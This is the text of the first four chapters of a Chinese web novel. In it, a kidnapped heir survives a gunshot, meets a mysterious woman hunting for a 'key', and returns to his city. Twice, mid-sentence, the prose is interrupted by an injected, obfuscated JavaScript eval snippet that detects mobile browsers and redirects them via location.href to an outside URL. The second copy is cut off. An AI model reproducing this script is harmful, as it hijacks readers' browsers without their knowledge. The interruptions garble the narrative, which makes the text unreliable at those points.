《七号灵魂》 1. 第1章 女人 风呼啸着掠过山野,激起一阵鬼哭狼嚎的声响。 一个不起眼的破屋在风中颤巍巍立着,屋顶的瓦片碎了大半,透进几缕惨白的月光,依稀可见屋内有四个人影。 地上堆了满地的烟头,空气中弥漫劣质烟草的呛人气味,混着汗臭和泥土的腥味,熏得人眼睛发涩。 “靠,非得选这种地方!” 一个身穿旧夹克的男人往地上啐了口,愤愤道:“深山老林的,信号都没有,谁知道江氏那边什么动静。” 他瞥向旁边的另外三人,越看地面上鼓鼓囊囊的麻袋越恼火,上前踢了一脚泄气。 黄毛把烟掐灭,眉头皱紧:“轻着点!下脚没个轻重,等下把人搞死了怎么办。” 夹克男闻言止住腿,“咱都在这鬼地方等多久了,老子都被蚊子吸成干尸了!” 说着又感觉到那股钻心的痒意,深山老林里的蚊子最要命,更何况他们还在这待了这么久,想到这夹克男整个人都暴躁起来。 在场几人都有些捏不准,按理来说这人是江家的独苗,继承人被绑,应该急得乱作一团才是,怎么放出消息这么久了还没动静。 他们早已经给了交钱的地址,那边的兄弟一旦收到钱,就会发信号,他们也好离开这鬼地方。 但从白天等到黑夜,无事发生。 为了方便,他们分别开了几辆摩托车进山,谨慎无比,每隔二十分钟就要换一次位置,在这深山老林中乱窜,生怕被追踪。 直到半小时前,最后一辆摩托彻底熄火,他们被迫在这破屋中落脚。 思及此,几人眉头又皱一分。 夹克男点了只烟,将烦躁压下去。 这次行动一旦败露,就意味着后半辈子再无安宁之日。江家从指甲缝里面漏下来的钱财就足以让无数人去为他们卖命,且他们背地里还养了无数打手。 那些打手都是些什么人?退役的特种兵,混黑的亡命徒,还有专门干脏活的,随便拎出一个来,都能让他们吃不了兜着走。 更何况—— 他看了一动不动的麻袋一眼。 这次的任务,要么成功,不留一点痕迹;要么失败,自己爽快点一刀结果了,不然就得时刻提防江家的复仇。 跟鬣狗一样,没完没了,闻着味追到天涯海角也不会放过你。 夹克男心烦意乱,扭头出了破屋,“我去外面望风。” 角落里,为首的光头男沉默半响,将燃尽的烟蒂吐在地上踩灭,拿起腰间的卫星电话。 这个卫星电话经过特殊处理,将拨号IP定位到了国外,不必担心警察找过来。 他不慌不忙,一顿电流滋滋声之后,那边传来了声音,似乎等待已久。 焦急的声音传来:“钱立马送到,请务必保证少爷的人身安全!” 光头男不甚在意,江家的钱多得几辈子都花不完,而继承人只有一个。 捏准了这点,他轻飘飘站起身来。 一字一句慢悠悠说:“现在我们改主意了,一百个亿,一分都不能少。” 那边安静了一瞬。 光头男:“怎么,你们要钱还是要人?” “没问题。”开口时,那头声音已经稳住,“钱马上到位,首先我们要确认少爷的安全。” “确认安全?放心——”光头男拉长了声线,“人还活着呢。” 光头男眼神示意黄毛两人,将江酌从麻袋里拖了出来。 “喂,小子…”一个小弟拎起他的衣领将人拖正。 不料那双眼睛突然毫无预兆地睁开,如寒芒闪过利刃,小弟眉头一皱。 江酌出手快得出人意料,一手卡住他腕骨,另一手屈肘横扫,直奔咽喉。 小弟闷哼,刀口舔血练出的反应让他堪堪侧身躲过要害,肩膀却结结实实挨了一记,两人立即纠缠倒地,滚作一团。 “操!”黄毛骂着扑上来,加入战局。 江酌体力早已透支,两天滴水未进,那支强效药剂的余毒让人头昏脑胀。 他以一敌二,全凭意志硬撑,可身体不听使唤,破绽就在一瞬间。黄毛反拧他手臂,将人重重掼在地上,后脊撞上地面碎石,闷响瘆人。 “你小子挺能打啊!”黄毛扭着流血的手腕恶狠狠踢了一脚,“中了药还有劲呢,不错啊!” 两人手忙脚乱将江酌重新绑了起来,虫子一样扔在地上,又快速从包里翻出一管针剂,对着他的脖子狠狠扎了下去。 卫星电话那边还在焦急地问:“发生了什么,少爷怎么样了,你们说话啊。” “给钱的前提是保证少爷安全,一根汗毛都不能少,你们应该明白道上的规矩。” “伤了少爷,你们……” 光头男表情不好看,摁断卫星电话。 “不是说药效至少24小时吗,怎么这么快就醒了?” 黄毛抹了把汗,“要不是因为药效,我还真不一定能够找到他的破绽。” 一个整日吃喝玩乐的公子哥,没想到能有这般意志力和身手撑到现在,实属罕见。 光头男若有所思:“这些有钱人都专门学过各种脱身之法,包括绑架、威胁等等,甚至还学了如何周旋,话术。有些身手也正常,只不过……” 他眼眸一眯,脑中浮现方才卫星电话的通话内容,对方表面看着紧张,实际上有条不紊,再加上长时间过去,收钱的那边兄弟也没个信。 他心中隐约觉得不对。 光头男将卫星电话揣起来,指着躺在地上的人道:“再搜一遍,以防他身上还有其他的定位器。” “不可能。”负责搜身的小弟笃定开口,“来之前就已经将他身上的所有电子设备销毁了,包括衣服纽扣都拔了。” “他身上除了那件衣服,没有其他东西。” 几人都松了一口气。 光头男没接话,他起身走向江酌,蹲下,两指捏住那人下巴将脸掰向自己。 不羁的黑发凌乱地遮住了男人的额头,露出棱角分明的下颚。哪怕周身脏乱不堪,也难掩气度。 光头男注意到他右耳上的一枚耳钉,这是一粒极不起眼的黑曜石。 他脸色一沉,伸手就要去拔,小弟哆嗦开口道: “当时没硬拔下来,说来也奇怪,这耳钉就跟长在肉里面一样,死活弄不下,我寻思着万一江家那边交了赎金,两全其美。咱给人耳朵弄坏了,一样得遭殃,就没硬拔……” 光头男天灵盖一震,死亡的危机迅速蔓延全身,暴喝一声:“蠢货!” 富人狡诈惜命,当初搜身的时候就从这小子身上掏出来不少奇特玩意儿,每样都不简单。 月光下,耳钉折射微弱的光晕在地上散开,依稀可以看见某些芯片纹路。 光头男脸色更沉,迅速起身,“我们暴露了,赶紧走!” 一想到江家的人和警察正在赶来的路上,光头男愤懑无比。 有人不舍,“那这次任务…” 光头恼怒,“你要命还是要任务!” 这下没人犹豫了,钱是万能的,但也得有命花。 “等等,把他也带上。”光头男指着地上的男人,“这里有我们的生物信息,警察检测过后就能锁定是谁干的,不能让他们找到这。” 虽然他们是黑户,但权贵的势力盘根错节,有不少人专门干那些见不得光的勾当,他可不想公开与江家为敌。 短时间内也难以将这里的生物信息处理干净,不如转移地点,让他们找不到这。 没人敢再犹豫。 几人将昏迷的江酌重新塞进麻袋,扛起便往更深的山林里钻。 夜黑如墨,树影幢幢如鬼魅,他们奔逃近一小时,寻到一处野狼出没的地儿,将人从麻袋倒了出来。 “大哥,那外面等赎金的兄弟…” “管不了他们了。”光头男没有犹豫,“若是他们收到了赎金最好,收不到,咱也先全身而退。” 这两天,他们将江酌转移了无数次,最后定在这深山老林中,就算要开直升机搜山,也得费不少劲。 坏就坏在时间过去太久,江家的人随时可能找到这,到时候就只有被扫成筛子的命运。 他们必须马上离开。 好不容易干了一票大的,临门来了这么一个岔子,谁心里都不好受。 听着野兽阵阵的吼叫声,几人也只能赶紧离去。 光头男临走,回身望向那团模糊的人影。 晦暗的眼底翻涌着懊恼、不甘,以及一丝连他自己都不愿承认的惧意。 消音器旋上枪口,对准男人的心脏。 没有丝毫犹豫,扣下扳机。 *** 鸦雀四飞。 天边渐渐泛起鱼肚白。 江酌只觉得脑袋要炸掉了,指尖微动,肺像灌满了锈水,每一次呼吸都刮得气管生疼。 他费尽全力,眼睛睁开一条缝。视线恍惚晃动,如隔着一层水帘,天边的光亮刺得脑袋发疼。 他眯着眼,看见一个模糊的白色身影正在靠近。 然后,一只手抓住他的衣领,单手将他提了起来。 江酌:!? 他看清楚了眼前这个女人。 纯黑色的眸子,如同一个深不见底的湖,叫人看一眼就能撞进去冻死。 冷到极致,江酌第一眼的感觉。 他识人无数,讨好的、利用的、算计的。练就了他只需要看一眼就能知道对方是个什么样的人,但这双眼睛,他读不出任何东西。 “东西,给我。” 女人开口了,称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482269|201816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得上是命令的语气。 江酌一时间不知道她是要钱还是要什么。 “给…给什么?” “别装,拿来。” 拿什么啊,到底要什么。 江酌迷迷糊糊,眉头皱起,这个环境,这个屈辱的姿势,还有这个……诡异的女人。 这是什么地方! 这么一想他就记起了前因后果,他的赌场出了内鬼,最信任的下手背叛了他,一时不查,被人给暗算了,像一个货物一样被转交给了下家又下家。 被绑在麻袋里不知过了多久,最后就出现在了这鬼地方。 他深吸一口气,略带血腥的舌尖下意识舔上后槽牙。 真是他喵的…好啊… 司凝玉的眼神越来越冷,“你身上有它的气息,你知道东西在哪。” 江酌压下烦躁,“能不能先把我放下来。” 司凝玉毫不留情松手,江酌直愣愣掉到地上。 他迅速站起身,江小爷要风得风,要雨得雨,哪曾受过这样的屈辱,捏着拳头正要发怒。 忽地惊觉自己身体竟无半点不适,就连被打的那几拳现在都完全感受不到疼痛,强烈迷药也已经过去了。 更可怕的是,他前胸的衬衫有一个明晃晃的血窟窿,拇指大小,血几乎浸了半边衣服。 他立即伸手去摸,心口的皮肤却丝毫没有损伤,甚至连划痕都没有。 他又上下摸了一遍,发现腰部那道陈年旧疤也消失了,甚至连右耳上那颗耳钉都不见了踪迹。 “这……” !!?? 再一抬头,才惊觉这女人身后竟然还站着保镖一样的四个男人。 左首两人肌肉虬结,皮肤黝黑,往那一杵,凶神恶煞得跟杀人犯似的。中间是个络腮胡,背一只鼓囊囊的登山包,包口露出一截黑色金属,形状他太熟了,是狙击步枪的枪托。 最右那人身形瘦削,嘴角噙着淡淡的笑,两手插在冲锋衣兜里,正饶有兴味地打量他。 江酌在心中得出定论,都不是好惹的人,特别那个似笑非笑的,笑面虎。 “最后说一次,”司凝玉的语气不容置啄,“将‘钥匙’交给我。” 她身后的络腮胡男人上前一步,黑洞洞的枪口对准江酌脑袋,“问你话,老实回答!” 江酌的神经瞬间绷紧。 钥匙,什么钥匙?车钥匙还是门钥匙?还是一个代号? “我不知道什么钥匙。”江酌开口,尽量让语气显得诚恳,“我刚被人绑架,差点被打死,醒来就在这儿了,你们找错人了。” 司凝玉往前走了两步,在他面前停下来。 距离近了,江酌能闻到她身上有一股很淡的香味,像草木花香混合的味道。 “你身上确实有接触过‘钥匙’的气息,”她说,“就在最近这几天。” 江酌皱眉,他接触过什么钥匙? 这几天他见过的人,摸过的东西太多了,公司、酒会、赌场、各种场合。开过不少车,抢过不少保险柜,这些东西都有钥匙,他哪知道这女人说的是哪把? 人在险境中大脑总是出奇清晰,比如此刻,他快速扫了眼面前这五个人。 白裙女人站在身后四个男人的安全位置,只要他有任何动作,那四个壮汉立马就能保护她。 所以,这女人是主子? 江酌决定先稳住她,“也许我真接触过你要找的钥匙。” “但我真不知道你要的是哪一把,你至少得告诉我,它长什么样,在哪儿可能找到,我才好帮你回忆。” 司凝玉定定看了他几眼,“你真不知道‘钥匙’?” 江酌好笑,“我都这样了,还有什么遮掩的必要吗?” 司凝玉显然没信,与一直站在旁边的“笑面虎”对了眼,对方朝她点点头。 她的表情这才稍有好转,“说,你最近去过什么地方,接触过什么,不要有遗漏。” 江酌蹙眉,这是什么奇怪的要求。 “我去过的地方太多了,一时半会也想不起来。” 女人面无表情,没有商量的余地,“那就从你最常去的地方开始说。” 江酌深吸一口气,觉得他这辈子的侮辱都在今天受了,平日里只有他威胁戏耍别人的份,何曾如此狼狈过。 他一激动脑子就开始钝钝的痛,太多事纠缠在一起,乱得要爆炸。 什么狗屁钥匙,只要回到申海,给些钱打发了就是。 想到这,他强迫自己稳定下来,瞥见心口处刺眼的猩红,眉头皱得更紧。 “我可以告诉你,但你不能让我白说吧?” “这样,咱们做个交易,我帮你找东西,你为我解个惑,如何?” 司凝玉眯起眼眸,“说说看。” 2. 第2章 钥匙 江酌指指心口位置的衬衫破洞,“这是怎么回事?” 司凝玉没说话,表情很冷漠。 那笑面虎走上前,似笑非笑的,“小子,送你句忠告,好奇害死猫。就算你不说,一查也能知道你都去过哪些地方,你最好识相些。” 江酌:“既然你们都能查到,还特地跑到这深山老林做什么。” “再说了,要是想对我动手,何必等到现在。” 他嘶了一声,“所以,想让我帮忙,又不愿意为我解个惑,这说出去我多没面子。” 此话一出,对面几人的表情都有些莫测。 司凝玉不耐烦抬眼,正想开口,江酌当即道:“想让我帮忙,可以,带我回申海。” 申海是他的地盘,回去之后没有谁再能奈何得了他。 空气沉默下来。 江酌也不急,往树干上一靠,双手环抱在胸前,摆出一副“你们看着办”的姿态。 片刻后,司凝玉终于扭过头,“记住你的承诺。” 说完,她偏头看向笑面虎,示意他,“冰魄,联系支援。” 原来那笑面虎名叫冰魄。 冰魄从冲锋衣兜里掏出一部卫星电话,拨了个号码,简短说了几句,挂断后对司凝玉点头:“一小时。” 一小时? 江酌在心里快速盘算,这地方荒山野岭,一眼都看不到头,能在一小时内调来交通工具,要么势力庞大,要么就在附近有据点。 无论哪种,都不是善茬。 他下意识往司凝玉那边瞟了一眼。 只见她站在原地,黑发垂落,勾勒出一张精致的脸。 冷白,精致。 像博物馆里见过的那种精雕细琢的玉人,让人不敢亵渎。 见女人察觉到了他的视线,似有要扭头的动作,江酌不动声色收回目光。 一小时后,两架小型直升机轰鸣着降落在不远处一块相对平坦的空地上。 “走吧。”冰魄做了个请的手势。 江酌瞥了眼那白裙女人,她正往另一架直升机走去,长发被螺旋桨卷起的气流吹得扬起,露出一截白皙的后颈。 那上面,似乎有团模糊的图案。 他正想要看清楚,就被络腮胡挡住了视线,那人面无表情地看着他,手搭在登山包的枪管上,警告意味明显。 江酌收回目光,抬脚往舱门里走。 直升机缓慢升空,逐渐消失在晨雾里。 江酌靠在座椅上闭目养神,脑子里却一刻没停。 任谁经历了这莫名其妙的一遭都静不下心来,心口处衬衫的窟窿模样他可太清楚了,这分明就是子弹射穿过后留下的弹孔。 还有这满衣服的血。 江酌眉头皱起,这些迹象都在表明,自己先前中过弹。 但怪异的是,身上没有一丝伤痕,心脏也跳动得好好的。 如果说这是巧合也勉强能解释,也许那颗子弹只是恰好擦破他的衣服,也许血是别人的。 但腰上那道疤呢? 那道伤疤是几年前在国外遇到恐怖袭击留下的,缝了二十多针,这也莫名其妙的痊愈了? 他下意识抬手,摸了摸右耳,整个耳廓完完整整,没有一点打过耳钉的痕迹。 这到底怎么回事? 他深吸一口气,把心中的烦躁压下,回申海之后,必须要找那个女人问清楚。 他开始盘算接下来的事。 这几人连直升机都能调来,也不像是缺钱的人,所以‘钥匙’,可以排除保险柜,银行卡之类的。 那到底要什么? 神神秘秘的,还让他说出去过的地方,碰过的东西。以他们这找不到就不罢休的架势,也能查到他的动向,几把钥匙而已,不可能弄不来。 那就只有一种可能。 他们需要的,其实是他私底下的行踪。 或者说,他们也不知道要找的东西长什么样,只能通过行踪去排查他碰过的东西。 想到这,江酌皱眉,这简直是太扯了。 连要找的东西都不知道,什么人能蠢到这种地步,他立马将这个原因给排除掉。 思来想去理不清头绪,只觉得一阵烦躁,索性不再想,只要能回到申海,一把钥匙而已,管它是什么钥匙,给就给了。 想到回到申海还有一堆人要处理,背叛他的内鬼,还有那几个绑匪,心中顿觉更烦。 …… 直升机飞了将近两个小时,终于降落在申海市中心的一个私人停机坪。 江酌透过舷窗看了一眼,这地方他不认识。 放眼看去是一片低矮的建筑群,像是某个封闭式的高档别墅区。 “江少,走吧。”冰魄站起身。 江酌起身下机,目光迅速扫过四周。 停机坪不大,远处是一排白墙灰瓦的别墅,绿化极好,郁郁葱葱,有些小动物在里逃窜,甚至有一片小湖,看着像打理得极好的公园。 “这是哪儿?”他问,“那个……白裙子呢?” 他想问的是白裙女人,问出口才想起自己不知道她的名讳。 冰魄没回答他的问题,扭过头,“你操心的可真多,别忘了咱们说好的。” 他加重语气,“钥匙。” 江酌冷嗤,“我可没忘,既然你们能查到我的行踪,想必也都排查过了,但还是找上了我本人,说明没找到你们要的东西。” 他做思考状,“既然你们都找过遍了,剩下那些,无非是厕所啊澡堂啊之类的,都是我的私事,你们确定要去光顾吗。” 冰魄闻言一笑,笑容比刚才真诚了些许,“就喜欢和聪明人打交道。” “话都说到这份上了,带路吧,别说是厕所,粪坑也得去。” 江酌盯着他看了几秒,轻嗤一声,“行。” “不过我有个疑问,什么宝贝值得你们这样大动干戈地去找,连厕所都不放过。” 冰魄低头看了眼时间,语气冷淡:“这个你不需要知道,你只管带路。” 江酌整暇以待地看着他,“又要让我带路,又不告诉我到底要找什么,我怎么带你们去,万一你是个偷窥狂,就有去偷窥别人厕所的癖好呢。” 冰魄好笑,“江少,聪明人就该明白,知道得越少命越长,我都提点到这了,别敬酒不吃吃罚酒。” 江酌:“这是威胁?” 冰魄:“这是忠告。” 说话间,海蜇也从直升机下来了,牛高马大地站在两人旁边,一脸凶相,也不说话。这人始终带着他的包,确保自己能以最快速度摸到枪。 冰魄拿出一副蓝牙耳机戴上,目光扫过江酌,“现在,先去你家。” 江酌略有诧异,去他家?这不就相当于将他送回大本营么,他们这么有自信? 冰魄正色:“江少,我们带你回到申海,你委托我方的事已经完成,现在到你兑现承诺的时候了,你该不会不认账吧。” ……?这人怎么说话怪怪的。 江酌懒洋洋说:“行,不过我只管带你们去,找不找得到你们要的东西,是你们的事。” 一辆商务车驶了过来,停在三人面前。 冰魄抬脚上车,才道:“没问题。” 三人上车,黑色商务车静静驶出庄园,往江家别墅区的方向去。 车窗外的景色飞速后退,江酌看着那些熟悉的街景,心里绷紧了的弦松了一寸。 回来了。 管他什么钥匙不钥匙,回到自 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“好好,谢谢二位出手相救,我这就吩咐下去,今晚请务必留下来用晚膳。” “不必不必,咱们还有事。”冰魄连忙说。 奈何老管家实在太热情,俩人一来一回说了好几嘴,海蜇就静静看着,看样子没有张嘴说话的欲望。 老管家看出俩人是真的要忙,这才没有坚持让人留下用饭。 江酌带着冰魄和海蜇俩人往别墅区主楼走,来到主屋的电梯,按亮第六层。 电梯很快到达六楼,这是一间低调豪华的大平层,基本是以黑白色调为主,看装修风格,屋主人很有品位。 客厅内有一整面墙的镂空柜子,每个格子里装着一件富有格调的器物,莫约半数格子里装的是价值不菲的名酒。 江酌随意往前走,“你们随便找,看上哪件拿走就行。” 窗外扑腾着停下一只麻雀,黑色的眼珠静静扫过屋内。 冰魄和海蜇在屋内走,目光扫过每一个角落,时不时扶一下耳机。推开卫生间的门,里面干干净净,什么也没有。 江酌又带着俩人去其他房间搜查,转悠了一个下午,冰魄的脸色越来越不好看。 江酌发现到他时不时走神,注意到那个耳机,轻嗤一声移开视线。 在几乎将整个江家别墅区都转完之后,江酌在大门处停下,“二位,我家已经看完了,可有看得上眼的?” 冰魄站在原地,一只手按着耳机,看样子是在接电话,随后抬起头,目光若有若无地扫了江酌一眼。 他朝海蜇示意:“走。” 这就走了? 江酌挑眉,却也没说什么。 盯着这俩人离开,直到黑色商务车彻底消失在视线内,他才回到主屋六楼的大平层内,往沙发上一摔 这操蛋的人生。 他什么时候这么窝囊过。 睁开眼,怒气氤氲,硬生生压了下去。 起身来到卧室,先舒舒服服洗了个澡。 热水冲下来,江酌闭着眼站在花洒下让水从头淋到脚,脑子里放空了几分钟。 来到落地镜前,盯着里面的人看。 镜子里的男人头发滴着水,随意地往后捋着,露出一张棱角分明的脸。 一切都是熟悉的模样,看起来和两天前没什么不同。 他低头,看着换下来的那件衣服。 心口处的窟窿,拇指大小,边缘整齐,血迹几乎浸透了半边衣服,现在干了,变成深褐色的硬块。 江酌盯着镜子里的自己,心中难以控制地冒出一个可怕的念头。 3. 第3章 诡异 这还是他本人吗? “少爷。” 管家在外面敲门,打断他的思绪,“您的用品已经备齐,老爷请您过去一趟。” 江酌冷静拉开门,只见是手表手机之类的必需品,还有一套干净的衣裤,是他平日里惯用的牌子。 “老爷在书房等您,”老管家有些犹豫,“您……好好说话。” 江酌接过托盘,没吭声。 他知道老管家这话是什么意思。 他爸那人,平日里就爱板着一张脸,动不动就教训人,他嫌烦,经常十天半月不回家。 这次出了这么大的事,他爸肯定憋了一肚子火,见了面少不了唠叨。 江酌穿戴整齐,去了江天威的书房。 推开门,江天威正站在窗边,背对着门,听到动静,转过身来。 江酌看见江天威那张憔悴的脸,到嘴边的话顿了顿。 江天威今年五十了,平日里保养得好,看着也就四十出头。但这几天不见,他眼下的青黑重了不少,鬓角多了些白发,整个人像是老了好几岁。 “回来了?”江天威开口,声音倒是平静。 “嗯。” “没事就好,”江天威背着手,走到书桌前坐下,指了指对面的椅子:“坐吧。” 江酌坐下。 “我们的人抓到其中一个逃跑的绑匪,”江天威说,“按照口供,还有三个在逃,不过也快了,我已经让人放出话去,过不了多久就能抓到人。” 江酌点头表示明了。 江家在申海多年,别的不说,道上的人多少要给几分面子。江天威平时不爱管这些事,但真管起来,手底下能调的人还真不少。 江天威看到他这幅样子就来气,冷哼一声,“让你吃吃苦头也好,整日在外头和那些不三不四的人混,总有你栽跟头的一天!” 江管家站在一旁,听到这话嘴角颤抖。 老爷,是谁担心少爷担心得两天两夜睡不着觉,恨不得将整个申海给掀了。 江酌目光平静,“我会处理好。” 江天威最烦他这幅模样,想到他刚回来的狼狈样,想必也受了不少苦,面色稍微好转,眼眸一闪而过的心疼。 “送你回来的那俩是什么人?” 他听管家说江酌带了两个人回家,嘴上说是朋友,但其中一人却随身带着枪,一左一右像是威胁,一落地就马不停蹄去了江酌的屋子。 江天威听完,立即吩咐下去,将整个别墅区都封锁了起来,保镖和狙击手随时待命,要是有任何不对劲,当即就能将人擒住。 结果无事发生,三人在别墅区里逛了大半天,跟参观似的,然后就这么走了。 “路上认识的,帮了点忙,”江酌语气随意,“说想来转转,我就带他们来了。” 江天威怀疑地瞥了他好几眼,这理由实在太扯。 对江酌这个儿子他多少还是有些了解,连他身边那几个狐朋狗友都很少踏进这个门,更别说带两个陌生人参观屋子。 不过他也没再追问,也懒得去揣测这逆子的心思,人没事就好。 父子俩沉默了一会儿。 “母亲呢?”江酌开口,“没回家吗?” 江天威摆了摆手,动作里带点不耐烦,又带点无奈:“她这两年自己开了个公司,整日加班,也不知道都在干什么,打电话也说忙,发了消息也不回。” 江酌没接话。 对于母亲尤慧,他说不上什么感觉。 从小到大,尤慧似乎一直有自己的事要做,她偶尔出现,但也来去匆匆。 他早就习惯了。 父子俩又聊了几句,老管家提醒说晚餐已备好。 餐桌上很安静,俩人各自吃着,偶尔说两句无关紧要的话。 江天威问他这几天的情况,他就挑能说的说了几句,把那些奇怪的、说不清的事都瞒了下来。 期间尤慧打来电话问候了江酌几句,江酌客气十足,没说几嘴就挂了。 吃完饭,江酌来到车库。 他扫了一圈,挑了辆红色超跑。 这是他那堆车里较低调的一辆,马力稍微小了点儿,但胜在骚气,开出去拉风。 钥匙插进去,马达轰鸣的声音像野兽在低吼,一脚油门踩下,车蹿了出去。 ...... 酒吧一条街在申海城东,是个不夜的地方。 哪怕是凌晨,这里也是灯火通明。 露天的露台上,穿着清凉的女孩们跟着音乐扭动,笑声和尖叫声混在一起,被巨大的DJ声盖过。街道两旁停满了豪车,少爷小姐们搂搂抱抱,从这家店晃到那家店。 申海是个贫富差距巨大的城市,市中心城区高楼大厦,日夜笙歌就没停过,金迷纸醉。出了城区就是低矮的楼房,更外围些还有农田瓦舍。 5%的人掌握了95%的财富,这句话在申海体现得淋漓尽致。 红色超跑缓缓驶进酒吧一条街,停在其中一间低调的酒吧门口:「蓝调烟雨」 叮铃铃铃~ 有人进来,门口的铃铛碰到门帘,清脆的声音在嘈杂的酒吧里被淹没了大半。 江酌熟练走到人少那边的吧台旁,敲了敲桌,“随便来一杯。” 周平正在吩咐手下,猛的听到这熟悉的声音,抬起头,看到江酌那张脸,大叫出声, “卧槽!!!” 周平三步并作两步冲过来,一把抓住江酌的胳膊上下打量: “你小子!回来了也不知道给哥们发个消息,知道陈挚那家伙有多担心你吗!得亏他前阵子刚升了组长,遣了一群人,现在还在九盘山里打转呢!” 江酌在吧台边的高脚凳上坐下,长腿随意地支着,“我这不是回来了吗。” 他将手机放在吧台上,仰头示意周平,“我手机没了,这新的,你给陈挚拨个电话过去。” 周平手忙脚乱拨号,一阵忙线的声音,无人接听。 他又拨了一遍,还是没人接。 “估计在山里信号不好。”周平说,“我给他发个消息。” 他噼里啪啦打了一行字,发了出去,放下手机急吼吼就问:“这俩天......你真没事吗。” “我能有什么事。”江酌举起酒杯,眼底却划过一丝异样。 真的没事吗? 正想着,也不知道是谁突然嚎了一嗓子,“江少!好几天没看到您来了~” 这一嗓子把半个酒吧的目光都招了过来。 “哎哟喂,这不是江少吗?” “江少回来了!听说您出远门了,可想死我们了~” 话音刚落,三四个浓妆艳抹的女人就贴了过来,香水味混在一起,甜得发腻。 江酌眉头一皱。 几秒钟的停顿,几个女人都看见了。她们微妙地往后退了半步,脸上的笑容却还挂着,眼神里多了点小心翼翼的打量。 江酌有钱,最常来的就是这个酒吧,有时候高兴了还会撒钱,时间久了谁都想贴上来捞一笔。 但也得学会察言观色,别看他整日吊儿郎当,这位主可不是好惹的,在申海这种地方,权势就代表一切,更别说还是江酌这种有钱有权的公子哥。 高兴的时候大家一起开心,翻脸的时候一丝旧情都不会念。 江酌花天酒地的名声在外,却是无人见过他和哪个女人并肩出入过,也没人敢打听。 女人们还想说什么,几个看场子的混混立刻围了上来,摆出请客的姿势,笑得客气却不容置疑,“几位姐姐,给个面子?” 她们没敢多说话,讪讪地散了。 江酌抿了一口酒,挑眉看周平:“你这酒吧,越来越热闹了。” “热闹个屁。”周平也端起喝了一口酒,“那些女人都是为了你来的,你好几天没来,这都落灰了。” 江酌没接话,他晃着酒杯,看着里面琥珀色的液体,沉默下来。 “周平。”他忽然开口。 “嗯?” “帮我查几个人。” 周平路子野,认识的人多,这么多年在申海也不是白混的,办事有自己的路子。 这几年江酌和周平、陈挚常在一起混,陈挚那家伙嘴里喊着正直,还当上了警局组长,但也没有和他俩疏远,常一起喝酒。 相比于江酌和陈挚的家世,周平是最普通最不起眼的那个,但为人重感情。 周平放下酒杯,“绑架有关的那几个我一直在查,抓到了几条小鱼,还在审,有空你自己去瞧瞧。” 江酌点头,“是另外一波人。” 周平好奇呷了口酒,“什么人?” “一个女人,”江酌回忆着那白裙女人的样子,“二十出头,长得很漂亮,黑色瞳孔,跟普通人不太一样,气质比较冷。” 周平听得动作一顿,狐疑瞥了他好几眼:“哥,你这是看上人家了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我手机掉山沟里了,没工夫去捡,后来才收到江管家的消息,咱就马上赶回来了。” 江酌拍了拍他肩膀,“辛苦。” 陈挚摆摆手,一屁股在高脚凳上坐下:“辛苦倒是不辛苦,就是憋屈。” “每次都是刚根据定位找过去,那帮人就开始换位置,狡猾得很。山里地形复杂,我们追了许久都没找到动静,最后你的定位直接消失了。” 江酌动作一顿。 想起耳钉和腰间那道伤疤一样,离奇地没了。 但那颗耳钉里面有定位器,就算是被人拿走,定位功能应当还是有的,且耳钉经过特殊加工,轻易弄不坏。 怎么看,这定位都不至于消失啊。 没等他想明白,陈挚又神秘兮兮开口道: “不过,也不是全然没有收获。” 他无比神气地卖了个关子。 周平和江酌闻言都扭头看向他,见他这样,周平忍不住喊道:“得了,快说,不然你这酒我可得算钱了!” 陈挚轻咳一声,掏出手机点开一张照片,递到两人面前。 照片上是一个光头男人,死状可怖,身上有多处伤口,脸上有被野兽啃噬过的痕迹,整个人血肉模糊。 “今早搜山的过程中,找到了一具尸体。” “经过对比,他就是绑匪之一。” 江酌盯着那张照片,目光落在那人腰间别着的卫星电话上。 他被绑后一直处于混沌之中,除了在破屋中清醒的那几分钟,还和其中俩人打了一架。 只依稀看到了那几人的长相,其中一个便是拿着卫星电话的光头。 “说来也奇怪。”陈挚指着照片,“他的死因是心脏中弹,应该是中枪之后摔下山坡,要不是咱们去得早,尸体都要被狼吃完了。” “但排查了那附近,根本没有第二人出现的痕迹,那颗子弹也不像是远程射击,更像是近距离击杀。” “这就很莫名了,没有第二人在场,那颗子弹是怎么来的,总不能是自杀了吧。” 江酌的心猛地一跳。 他想起自己那件衬衫,也是被人朝着心口开了一枪。 这个位置,这个距离,和照片上这人一模一样。 唯一不同的是,光头男死了,而他活着 不对,他真的是“活着”吗? 脑中浮现白裙女人的身影,还有她没有感情的瞳孔。 自从在深山老林中再次睁眼,很多东西都偏离了他原本的认知。 他拧着眉头,先前那个可怕的念头又浮了上来。 江酌摇了摇头想甩掉这个念头,酒吧灯光昏暗,世界好似都有些颠倒,他还是问出口: “你们说,这世上有没有那种……不是人的东西?” 4. 第4章 中邪 江酌这话一出口,空气都凝住了。 陈挚和周平对视一眼,又齐齐看向江酌,眼神像是在看一个神经病。 “不是人,难道是鬼?”周平扣了扣鼻孔,又若无其事地拿出来,在裤腿上蹭了蹭, “哥,你这是有心理阴影了吧?要不要我给你介绍个心理医生?” “我说正经的。”江酌打断他,声音里压不住的烦躁。 他把酒杯往吧台上一搁,转过身来,正对着两人,张嘴想要说什么,看着那两张脸,话到嘴边又重重叹了一口气, “算了,没事。” 这种事也太过惊悚了,谁会信啊。 他自己都不信。 江酌收回表情,抿了一口酒。 他正想着,忽然感觉有什么东西在看着自己。 那是一种很奇怪的感觉,像是有一道视线落在身上,若有若无,但又真实存在。 他猛地抬头,往窗外看去。 酒吧的窗户是磨砂玻璃,隐约看见街灯的影子,昏黄的光晕透过玻璃,模模糊糊的,落在窗台上蹲着的一个黑影上。 很小,比拳头大不了多少。 是一只麻雀。 